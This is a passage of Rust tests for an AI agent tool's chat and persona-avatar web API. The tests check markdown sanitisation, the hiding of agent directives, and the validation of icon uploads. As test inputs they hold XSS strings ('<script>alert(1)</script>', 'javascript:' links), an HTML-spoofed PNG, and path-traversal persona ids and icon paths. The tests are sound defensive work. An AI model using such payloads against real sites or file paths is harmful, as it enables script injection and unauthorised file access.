14356                &mut conversation,
14357                &ui.talks,
14358                &body,
14359                "watch:123",
14360                &|_| false,
14361                None,
14362                display.clone()
14363            )
14364            .unwrap()
14365        );
14366        let saved = ui.talks.get(&id).unwrap();
14367        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14368        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14369        assert!(
14370            view.talk.turns[0].messages[0].display.is_none(),
14371            "operator copy stays literal"
14372        );
14373        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14374        assert!(view.turn_messages_md[0][0].is_none());
14375        let queued_md = view.pending_messages_md[0].clone();
14376        assert_eq!(
14377            queued_md,
14378            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14379        );
14380        talk::drain(&mut conversation, &ui.talks).unwrap();
14381        talk::record_reply(
14382            &mut conversation,
14383            &ui.talks,
14384            "Explain",
14385            vec![],
14386            Some(talk::ReplyTarget {
14387                turn: 1,
14388                message: 0,
14389            }),
14390        )
14391        .unwrap();
14392        let mut saved = ui.talks.get(&id).unwrap();
14393        assert_eq!(saved.turns[1].messages[0].body, body);
14394        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14395        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14396        assert!(!reply.excerpt.contains("automatic report"));
14397        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14398        saved.turns[1].messages[0].display = None; // old MAGI send
14399        ui.talks.put(&mut saved).unwrap();
14400        let view = TalkView::with_config(
14401            ui.talks.get(&id).unwrap(),
14402            false,
14403            None,
14404            &ui.home,
14405            &ui.references,
14406        );
14407        assert_eq!(view.turn_messages_md[1][0], queued_md);
14408        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14409        assert!(
14410            !view.talk.turns[2].messages[0]
14411                .reply
14412                .as_ref()
14413                .unwrap()
14414                .excerpt
14415                .contains("automatic report")
14416        );
14417        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14418    }
14419
14420    #[tokio::test]
14421    async fn consultation_display_hides_directives_in_queue_and_history() {
14422        for node in [
14423            "implement",
14424            crate::land::APPROVAL_NODE,
14425            crate::github_text::ASK_NODE,
14426        ] {
14427            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14428            let mut question = Question::new(
14429                "run-123".into(),
14430                node.into(),
14431                "seat-1".into(),
14432                "Which backend?".into(),
14433                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14434                vec!["SQLite".into(), "Redis".into()],
14435            );
14436            ui.questions.put(&mut question).unwrap();
14437            let body = crate::prompt::chat_consult(&question);
14438            let mut conversation = ui.talks.get(&id).unwrap();
14439            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14440            assert!(
14441                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14442            );
14443            conversation = ui.talks.get(&id).unwrap();
14444            assert_eq!(conversation.pending_messages[0].body, body);
14445            assert!(body.contains("magi answer"));
14446            let mut legacy_pending = conversation.clone();
14447            legacy_pending.pending_messages[0].display = None;
14448            let legacy_view =
14449                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14450            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14451            assert!(legacy_md.contains("Question consultation"));
14452            assert!(!legacy_md.contains("magi answer"));
14453            let view =
14454                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14455            assert!(
14456                view.turn_messages_md[0][0].is_none(),
14457                "operator copy stays literal"
14458            );
14459            let queued_md = view.pending_messages_md[0].clone().unwrap();
14460            let rendered = serde_json::to_string(&queued_md).unwrap();
14461            for visible in [
14462                "Which backend?",
14463                "Context",
14464                "storage",
14465                "SQLite",
14466                "Redis",
14467                "<script>literal</script>",
14468            ] {
14469                assert!(rendered.contains(visible), "missing {visible}");
14470            }
14471            for directive in [
14472                "What to do",
14473                "magi answer",
14474                "Never answer it yourself",
14475                "Do not edit the repository",
14476            ] {
14477                assert!(!rendered.contains(directive), "exposed {directive}");
14478            }
14479            assert_eq!(
14480                view.talk.pending_messages[0].display,
14481                Some(crate::prompt::chat_consult_display(&question))
14482            );
14483            talk::drain(&mut conversation, &ui.talks).unwrap();
14484            let view =
14485                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14486            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14487            assert_eq!(conversation.turns[1].messages[0].body, body);
14488
14489            // Historical consultations lack a snapshot: show a safe placeholder
14490            // rather than parsing instructions or reconstructing mutable facts.
14491            conversation.turns[1].messages[0].display = None;
14492            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14493            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14494            assert!(legacy.contains("Question consultation"));
14495            assert!(!legacy.contains("magi answer"));
14496            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14497        }
14498    }
14499
14500    #[test]
14501    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14502        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14503        let (body, mut display) =
14504            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14505        display.facts = facts.into();
14506        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14507        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14508        let json = serde_json::to_string(&nodes).unwrap();
14509        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14510            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14511        }
14512        assert!(json.contains("<script>alert(1)</script>"));
14513        assert!(!json.contains("javascript:"));
14514        assert!(!json.contains("Tell the operator"));
14515        assert!(!json.contains("untrusted"));
14516        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14517        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14518        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14519        assert_eq!(
14520            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14521            md::to_nodes("# Status", &md::ImageBase::None),
14522        );
14523    }
14524
14525    #[tokio::test]
14526    async fn notification_display_recovers_exact_legacy_completion_references() {
14527        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14528        let mut conversation = ui.talks.get(&id).unwrap();
14529        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14530            id: "task-123",
14531            title: "Change",
14532            status: "done",
14533            reason: None,
14534            run: Some("run-123"),
14535            pr: None,
14536            summary: Some("Merge state unknown"),
14537        });
14538        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14539        conversation.turns[0].sender = None;
14540        conversation.turns[0].messages.clear();
14541        conversation.turns[0].breaks = None;
14542        conversation.pending = body.clone();
14543        conversation
14544            .completion_notices
14545            .push(crate::chat_notify::CompletionReference {
14546                task: "task-123".into(),
14547                run: Some("run-123".into()),
14548                notice: body.clone(),
14549            });
14550        ui.talks.put(&mut conversation).unwrap();
14551        let view = TalkView::with_config(
14552            ui.talks.get(&id).unwrap(),
14553            false,
14554            None,
14555            &ui.home,
14556            &ui.references,
14557        );
14558        assert_eq!(
14559            view.talk.turns[0].messages[0].display,
14560            Some(display.clone())
14561        );
14562        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14563        assert_eq!(
14564            view.talk.turns[0].messages[0].sender,
14565            Some(talk::Sender::Magi)
14566        );
14567        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14568        conversation.completion_notices[0]
14569            .notice
14570            .push_str("different");
14571        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14572        assert!(view.talk.turns[0].messages.is_empty());
14573        assert!(view.talk.pending_messages.is_empty());
14574    }
14575
14576    #[tokio::test]
14577    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14578        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14579        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14580            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14581        ))
14582        .await;
14583        let path = avatar_setting_path(home.path(), Some("rei"));
14584        let orphan = avatar_setting_path(home.path(), Some("removed"));
14585        save_icon_file(&orphan, icon).unwrap();
14586        for (saved, expected) in [
14587            (icon, "custom"),
14588            ("builtin", "builtin"),
14589            ("data:image/png;base64,!!!!", "inherit"),
14590            ("data:image/png;base64,PGh0bWw+", "inherit"),
14591            ("/tmp/avatar.png", "inherit"),
14592        ] {
14593            atomic_icon_write(&path, saved).unwrap();
14594            let catalog =
14595                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14596                    .await
14597                    .unwrap()
14598                    .0;
14599            let personas = catalog["personas"].as_array().unwrap();
14600            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14601            assert_eq!(rei["override_state"], expected);
14602            assert_eq!(rei["has_config_icon"], true);
14603            assert_eq!(rei["is_orphan"], false);
14604            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14605            assert_eq!(removed["override_state"], "custom");
14606            assert_eq!(removed["is_orphan"], true);
14607            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14608            assert_eq!(default["override_state"], "inherit");
14609            assert_eq!(default["has_config_icon"], false);
14610            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14611            assert_eq!(
14612                effective.as_deref(),
14613                Some(if expected == "builtin" { "" } else { icon })
14614            );
14615        }
14616    }
14617
14618    #[tokio::test]
14619    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14620        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14621        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14622            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14623        ))
14624        .await;
14625        let target = |id: Option<&str>| AvatarSettingsQuery {
14626            persona: id.map(str::to_owned),
14627            ..Default::default()
14628        };
14629        let original_config = config_for(&repo).await.unwrap();
14630        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14631        let original_prompt = persona::section_for(&original_persona, None);
14632        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14633            .await
14634            .unwrap()
14635            .0;
14636        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14637            let _ = avatar_settings_put(
14638                State(ui.clone()),
14639                Query(target(persona)),
14640                Json(MagiIconUpload { icon: icon.into() }),
14641            )
14642            .await
14643            .unwrap();
14644            let path = avatar_setting_path(home.path(), persona);
14645            assert!(path.starts_with(home.path().join("avatars")));
14646            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14647            for bad in [
14648                "/tmp/image.png".to_owned(),
14649                "data:image/png;base64,!!!!".to_owned(),
14650                "data:image/png;base64,PGh0bWw+".to_owned(),
14651                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14652                format!(
14653                    "data:image/png;base64,{}",
14654                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14655                ),
14656            ] {
14657                assert!(
14658                    avatar_settings_put(
14659                        State(ui.clone()),
14660                        Query(target(persona)),
14661                        Json(MagiIconUpload { icon: bad })
14662                    )
14663                    .await
14664                    .is_err()
14665                );
14666                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14667            }
14668        }
14669        assert!(read_magi_icon(home.path()).is_none());
14670        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14671        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14672            .await
14673            .unwrap()
14674            .0;
14675        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14676        assert_ne!(
14677            before
14678                .personas
14679                .iter()
14680                .find(|p| p.id == "magi")
14681                .unwrap()
14682                .avatar,
14683            after
14684                .personas
14685                .iter()
14686                .find(|p| p.id == "magi")
14687                .unwrap()
14688                .avatar
14689        );
14690        let restarted = Arc::new(Ui::new(
14691            Queue::at(home.path().join("queue")),
14692            Questions::at(home.path().join("questions")),
14693            Talks::at(home.path().join("talks")),
14694            home.path().join("runs"),
14695            home.path().to_owned(),
14696            repo,
14697        ));
14698        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14699            .await
14700            .unwrap()
14701            .0;
14702        assert!(
14703            catalog["personas"]
14704                .as_array()
14705                .unwrap()
14706                .iter()
14707                .any(|p| p["id"] == "../custom/日本語")
14708        );
14709        for expected in ["custom", "default", "rei"] {
14710            assert!(
14711                catalog["personas"]
14712                    .as_array()
14713                    .unwrap()
14714                    .iter()
14715                    .any(|p| p["id"] == expected)
14716            );
14717        }
14718        let response =
14719            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14720        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14721        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14722            .await
14723            .unwrap();
14724        assert_eq!(
14725            effective_persona_icon(home.path(), "rei", Some(icon)),
14726            Some(String::new())
14727        );
14728        let response = talk_avatar(
14729            State(restarted.clone()),
14730            Path(id.clone()),
14731            Query(AvatarQuery {
14732                persona: Some("rei".into()),
14733                ..Default::default()
14734            }),
14735        )
14736        .await
14737        .unwrap();
14738        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14739        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14740            .await
14741            .unwrap()
14742            .0;
14743        assert_ne!(
14744            after
14745                .personas
14746                .iter()
14747                .find(|p| p.id == "rei")
14748                .unwrap()
14749                .avatar,
14750            reset
14751                .personas
14752                .iter()
14753                .find(|p| p.id == "rei")
14754                .unwrap()
14755                .avatar
14756        );
14757        let mut inherit = target(Some("rei"));
14758        inherit.inherit = Some("1".into());
14759        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14760            .await
14761            .unwrap();
14762        assert_eq!(
14763            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14764            Some(icon)
14765        );
14766        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14767            .await
14768            .unwrap();
14769        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14770        assert_eq!(
14771            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14772            Some(icon)
14773        );
14774        // Display changes never rewrite the conversation or its prompt-bearing config.
14775        let cfg = config_for(&ui.repo).await.unwrap();
14776        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14777        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14778        assert!(!original_prompt.contains("data:image"));
14779        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14780        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14781        assert!(!stored.contains("data:image"));
14782        let mut orphan = ui.talks.get(&id).unwrap();
14783        orphan.persona = "../custom/日本語".into();
14784        let view = TalkView::with_config(
14785            orphan,
14786            false,
14787            Some(&cfg),
14788            home.path(),
14789            &id_links::IndexCache::default(),
14790        );
14791        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14792    }
14793
14794    #[tokio::test]
14795    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14796        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14797        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14798        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14799        let _ = magi_icon_put(
14800            State(ui.clone()),
14801            Json(MagiIconUpload { icon: icon.into() }),
14802        )
14803        .await
14804        .unwrap();
14805        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14806        assert_ne!(original, changed);
14807        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14808        let response = magi_avatar(
14809            State(ui.clone()),
14810            Query(AvatarQuery {
14811                persona: None,
14812                builtin: None,
14813            }),
14814        )
14815        .await;
14816        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14817        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14818        assert_eq!(
14819            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14820            "nosniff"
14821        );
14822        for bad in [
14823            "data:image/png;base64,PGh0bWw+".to_owned(),
14824            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14825            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14826        ] {
14827            assert!(save_magi_icon(home.path(), &bad).is_err());
14828            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14829        }
14830        // Re-opened server state reads the same independent home file.
14831        let restarted = Arc::new(Ui::new(
14832            Queue::at(home.path().join("queue")),
14833            Questions::at(home.path().join("questions")),
14834            Talks::at(home.path().join("talks")),
14835            home.path().join("runs"),
14836            home.path().to_path_buf(),
14837            repo,
14838        ));
14839        assert_eq!(
14840            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14841            changed
14842        );
14843        let view = TalkView::with_config(
14844            restarted.talks.get(&id).unwrap(),
14845            false,
14846            None,
14847            &restarted.home,
14848            &restarted.references,
14849        );
14850        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14851        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14852        let response = magi_avatar(
14853            State(ui.clone()),
14854            Query(AvatarQuery {
14855                persona: None,
14856                builtin: None,
14857            }),
14858        )
14859        .await;
14860        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14861            .await
14862            .unwrap();
14863        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14864        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14865        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14866        let _ = magi_icon_delete(State(ui)).await.unwrap();
14867    }
14868
14869    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14870    async fn avatar(
14871        ui: &Arc<Ui>,
14872        id: &str,
14873        persona: Option<&str>,
14874        builtin: bool,
14875    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14876        let res = talk_avatar(
14877            State(Arc::clone(ui)),
14878            Path(id.to_owned()),
14879            Query(AvatarQuery {
14880                persona: persona.map(str::to_owned),
14881                builtin: builtin.then(|| "1".to_owned()),
14882            }),
14883        )
14884        .await
14885        .expect("an avatar is never an error response");
14886        let h = res.headers();
14887        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14888        let nosniff = h
14889            .get(header::X_CONTENT_TYPE_OPTIONS)
14890            .is_some_and(|v| v == "nosniff");
14891        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14892        let status = res.status();
14893        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14894            .await
14895            .expect("body")
14896            .to_vec();
14897        (status, ct, nosniff, csp, body)
14898    }
14899
14900    fn tiny_png() -> Vec<u8> {
14901        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14902        b.extend_from_slice(&[0u8; 32]);
14903        b
14904    }
14905
14906    #[tokio::test]
14907    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14908        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14909        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14910        assert_eq!(res.status(), StatusCode::OK);
14911        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14912        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14913        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14914        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14915        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14916            .await
14917            .unwrap();
14918        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14919        assert_ne!(
14920            persona_icon::operator_svg(),
14921            persona_icon::builtin_svg("default")
14922        );
14923    }
14924
14925    #[tokio::test]
14926    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14927        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14928        for p in [
14929            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14930        ] {
14931            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14932            assert_eq!(status, StatusCode::OK, "{p}");
14933            assert_eq!(ct, "image/svg+xml", "{p}");
14934            assert!(nosniff && csp, "{p}");
14935            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14936        }
14937        // No `persona` means the conversation's own; unknown ones fall back.
14938        let own = avatar(&ui, &id, None, false).await;
14939        let default = avatar(&ui, &id, Some("default"), false).await;
14940        assert_eq!(own.4, default.4);
14941        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14942        assert_eq!(unknown.1, "image/svg+xml");
14943    }
14944
14945    #[tokio::test]
14946    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14947        let dir = TempDir::new().expect("icons");
14948        let good = dir.path().join("good.png");
14949        std::fs::write(&good, tiny_png()).unwrap();
14950        let spoof = dir.path().join("spoof.png");
14951        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14952        let big = dir.path().join("big.png");
14953        let mut bytes = tiny_png();
14954        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14955        std::fs::write(&big, bytes).unwrap();
14956        let missing = dir.path().join("missing.png");
14957        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14958        let extra = format!(
14959            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14960             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14961             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14962             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14963             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14964             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14965            uri(&good),
14966            uri(&spoof),
14967            uri(&big),
14968            uri(&missing),
14969        );
14970        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14971
14972        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14973        assert_eq!(
14974            (status, ct.as_str(), nosniff),
14975            (StatusCode::OK, "image/png", true)
14976        );
14977        assert_eq!(body, tiny_png());
14978        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14979        assert_eq!(ct, "image/png", "data URI");
14980
14981        for p in ["misato", "asuka", "shinji", "magi"] {
14982            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14983            assert_eq!(
14984                (status, ct.as_str(), csp),
14985                (StatusCode::OK, "image/svg+xml", true),
14986                "{p}"
14987            );
14988            assert!(body.starts_with(b"<svg"), "{p}");
14989        }
14990        // The page's own retry skips the icon.
14991        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14992        assert_eq!(ct, "image/svg+xml");
14993    }
14994
14995    #[tokio::test]
14996    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14997        let oversized = format!(
14998            "data:image/png;base64,{}",
14999            "A".repeat(persona_icon::ICON_MAX_BYTES)
15000        );
15001        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15002            let extra = format!(
15003                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15004            );
15005            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15006            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15007                .await
15008                .expect("detail with invalid icon");
15009            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15010            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15011            assert_eq!(status, StatusCode::OK);
15012            assert_eq!(ct, "image/svg+xml");
15013            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15014            let Json(view) = talk_persona(
15015                State(Arc::clone(&ui)),
15016                Path(id.clone()),
15017                Json(TalkPersona {
15018                    persona: "custom".into(),
15019                }),
15020            )
15021            .await
15022            .expect("persona switch with invalid icon");
15023            assert_eq!(view.talk.persona, "custom");
15024            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15025        }
15026    }
15027
15028    #[tokio::test]
15029    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15030        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15031        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15032        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15033        assert_eq!(
15034            (status, ct.as_str(), nosniff, csp),
15035            (StatusCode::OK, "image/svg+xml", true, true)
15036        );
15037    }
15038
15039    #[tokio::test]
15040    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15041        let (_t, _h, ui, id, _repo) =
15042            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15043        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15044            .await
15045            .expect("detail");
15046        let json = serde_json::to_string(&detail).unwrap();
15047        assert!(
15048            !json.contains("secret"),
15049            "the icon setting must not leak: {json}"
15050        );
15051        assert!(
15052            detail
15053                .view
15054                .persona_avatar
15055                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15056        );
15057        assert_eq!(
15058            detail.view.operator_avatar,
15059            format!(
15060                "/avatars/operator.svg?v={}",
15061                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15062            )
15063        );
15064        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15065        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15066        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15067        assert!(rei.avatar.contains("persona=rei&v="));
15068        assert_ne!(
15069            rei.avatar.split("&v=").nth(1),
15070            plain.avatar.split("&v=").nth(1)
15071        );
15072    }
15073
15074    #[tokio::test]
15075    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15076        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15077        let cfg = config_for(&repo).await.unwrap();
15078        for arrived in [false, true] {
15079            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15080            let observed = ui.queued_generation(&id);
15081            let talk = ui.talks.get(&id).unwrap();
15082            if arrived {
15083                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15084            }
15085            let mut settling = std::pin::pin!(settle_settings_turn(
15086                talk,
15087                ui.talks.clone(),
15088                cfg.clone(),
15089                id.clone(),
15090                turn,
15091                observed
15092            ));
15093            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15094            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15095            assert_eq!(first.is_pending(), arrived);
15096            if arrived {
15097                assert!(!settling.await);
15098            }
15099            assert!(!ui.is_thinking(&id));
15100        }
15101    }
15102
15103    #[tokio::test]
15104    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15105        let tmp = TempDir::new().expect("tempdir");
15106        let repo = tmp.path().join("repo");
15107        std::fs::create_dir_all(&repo).expect("repo dir");
15108        std::fs::write(
15109            repo.join("magi.toml"),
15110            format!(
15111                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15112            ),
15113        )
15114        .expect("write magi.toml");
15115        let home = TempDir::new().expect("temp home");
15116        let talks = Talks::at(home.path().join("talks"));
15117        let ui = Arc::new(
15118            Ui::new(
15119                Queue::at(home.path().join("queue")),
15120                Questions::at(home.path().join("questions")),
15121                talks.clone(),
15122                home.path().join("runs"),
15123                home.path().to_path_buf(),
15124                repo.clone(),
15125            )
15126            .with_worktrees_root(home.path().join("wt")),
15127        );
15128        let cfg = config_for(&repo).await.expect("discover config");
15129        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15130        let id = talk.id.clone();
15131        let call = |persona: &str| {
15132            talk_persona(
15133                State(Arc::clone(&ui)),
15134                Path(id.clone()),
15135                Json(TalkPersona {
15136                    persona: persona.to_owned(),
15137                }),
15138            )
15139        };
15140
15141        let unknown = call("nobody").await.expect_err("unknown persona");
15142        assert_eq!(
15143            unknown.status,
15144            StatusCode::BAD_REQUEST,
15145            "{}",
15146            unknown.message
15147        );
15148
15149        {
15150            // Nothing refused so far took a claim, so the guard is free to take
15151            // and holding it is what makes the talk busy.
15152            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15153            let busy = call("rei").await.expect_err("busy talk");
15154            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15155            assert!(
15156                busy.message.contains("a talk turn is running"),
15157                "{}",
15158                busy.message
15159            );
15160            drop(guard);
15161        }
15162        assert_eq!(talks.get(&id).expect("reload").persona, "");
15163
15164        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15165        assert_eq!(view.talk.persona, "gendo");
15166        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15167        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15168        // No intervening I/O or sleep may be needed before another change.
15169        for chosen in ["default", "gendo", "rei", "gendo"] {
15170            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15171            assert!(!view.thinking);
15172            assert!(!ui.is_thinking(&id));
15173        }
15174
